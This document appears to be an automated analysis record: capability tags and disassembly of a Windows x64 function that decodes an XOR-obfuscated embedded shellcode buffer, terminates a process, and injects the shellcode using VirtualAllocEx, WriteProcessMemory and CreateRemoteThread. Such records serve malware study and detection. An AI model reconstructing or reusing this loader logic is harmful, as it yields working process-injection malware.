Function at 0x140001000
Capabilities:
Encode data using xor
Enumerate processes
Link many functions at runtime
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x610
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x600], rax
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor ebp, ebp
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400010b8
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400010af
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, eax
mov esi, ebp
cmp dword [rsp + 0x48], edi
je 0x14000107d
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001063
jmp 0x140001081
mov esi, dword [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x1400010b8
xor edx, edx
mov r8d, esi
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400010b8
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x280]
mov ecx, 6
lea rax, [0x140003300]
nop dword [rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x1400010d0
mov rcx, qword [rax + 0x70]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movdqa xmm2, xmmword [0x1400039a0]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x50], xmm1
movdqa xmm1, xmmword [0x140003990]
movups xmmword [rdx + 0x60], xmm0
mov qword [rdx + 0x70], rcx
mov ecx, dword [rax + 0x78]
mov dword [rdx + 0x78], ecx
movzx ecx, word [rax + 0x7c]
mov word [rdx + 0x7c], cx
movzx ecx, byte [rax + 0x7e]
mov byte [rdx + 0x7e], cl
mov rcx, rbp
nop dword [rax]
movdqu xmm0, xmmword [rsp + rcx + 0x280]
psubb xmm0, xmm1
xorps xmm0, xmm2
movdqu xmmword [rsp + rcx + 0x280], xmm0
movdqu xmm0, xmmword [rsp + rcx + 0x290]
psubb xmm0, xmm1
xorps xmm0, xmm2
movdqu xmmword [rsp + rcx + 0x290], xmm0
movdqu xmm0, xmmword [rsp + rcx + 0x2a0]
psubb xmm0, xmm1
xorps xmm0, xmm2
movdqu xmmword [rsp + rcx + 0x2a0], xmm0
movdqu xmm0, xmmword [rsp + rcx + 0x2b0]
psubb xmm0, xmm1
xorps xmm0, xmm2
movdqu xmmword [rsp + rcx + 0x2b0], xmm0
add rcx, 0x40
cmp rcx, 0x340
jb 0x140001190
cmp rcx, 0x37e
jae 0x14000122f
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x280]
dec al
xor al, 0xaa
mov byte [rsp + rcx + 0x280], al
inc rcx
cmp rcx, 0x37e
jb 0x140001210
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
test rax, rax
jne 0x140001271
lea rdx, str.Failed_to_get_handle_to_kernel32.dll
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001540
mov rcx, rax
lea rdx, [0x140001710]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x14000149b
lea rdx, [0x1400036c8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x14000128f
lea rdx, str.Failed_to_get_address_of_GetCurrentProcessId_function
jmp 0x14000124b
call rax
lea rdx, [0x140003718]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x1400012b1
lea rdx, str.Failed_to_get_address_of_OpenProcess_function
jmp 0x14000124b
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call rax
mov rbx, rax
test rax, rax
jne 0x1400012d1
lea rdx, str.Failed_to_open_target_process
jmp 0x14000124b
lea rdx, str.VirtualAllocEx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x1400012f2
lea rdx, str.Failed_to_get_address_of_VirtualAllocEx_function
jmp 0x14000124b
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x37f
mov rcx, rbx
call rax
mov rsi, rax
test rax, rax
jne 0x140001349
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_allocate_memory_in_target_process
call fcn.140001540
mov rcx, rax
lea rdx, [0x140001710]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [rsi + 1]
jmp 0x14000149b
lea rdx, str.WriteProcessMemory
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x14000136a
lea rdx, str.Failed_to_get_address_of_WriteProcessMemory_function
jmp 0x14000124b
mov r9d, 0x37f
mov qword [rsp + 0x20], rbp
lea r8, [rsp + 0x280]
mov rdx, rsi
mov rcx, rbx
call rax
test eax, eax
jne 0x1400013d7
lea rdx, str.Failed_to_write_shellcode_to_target_process
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001540
mov rcx, rax
lea rdx, [0x140001710]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r9d, 0x8000
mov r8d, 0x37f
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x14000149b
lea rdx, str.CreateRemoteThread
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x1400013f8
lea rdx, str.Failed_to_get_address_of_CreateRemoteThread_function
jmp 0x14000124b
mov qword [rsp + 0x30], rbp
mov r9, rsi
mov dword [rsp + 0x28], ebp
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbp
mov rcx, rbx
call rax
mov rbp, rax
test rax, rax
jne 0x140001427
lea rdx, str.Failed_to_create_remote_thread_in_target_process
jmp 0x140001390
lea rdx, str.WaitForSingleObject
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140001448
lea rdx, str.Failed_to_get_address_of_WaitForSingleObject_function
jmp 0x14000124b
mov edx, 0xffffffff
mov rcx, rbp
call rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x140003948]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x14000147c
lea rdx, str.Failed_to_get_address_of_VirtualFreeEx_function
jmp 0x14000124b
mov r9d, 0x8000
mov r8d, 0x37f
mov rdx, rsi
mov rcx, rbx
call rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x600]
xor rcx, rsp
call fcn.140001760
lea r11, [rsp + 0x610]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret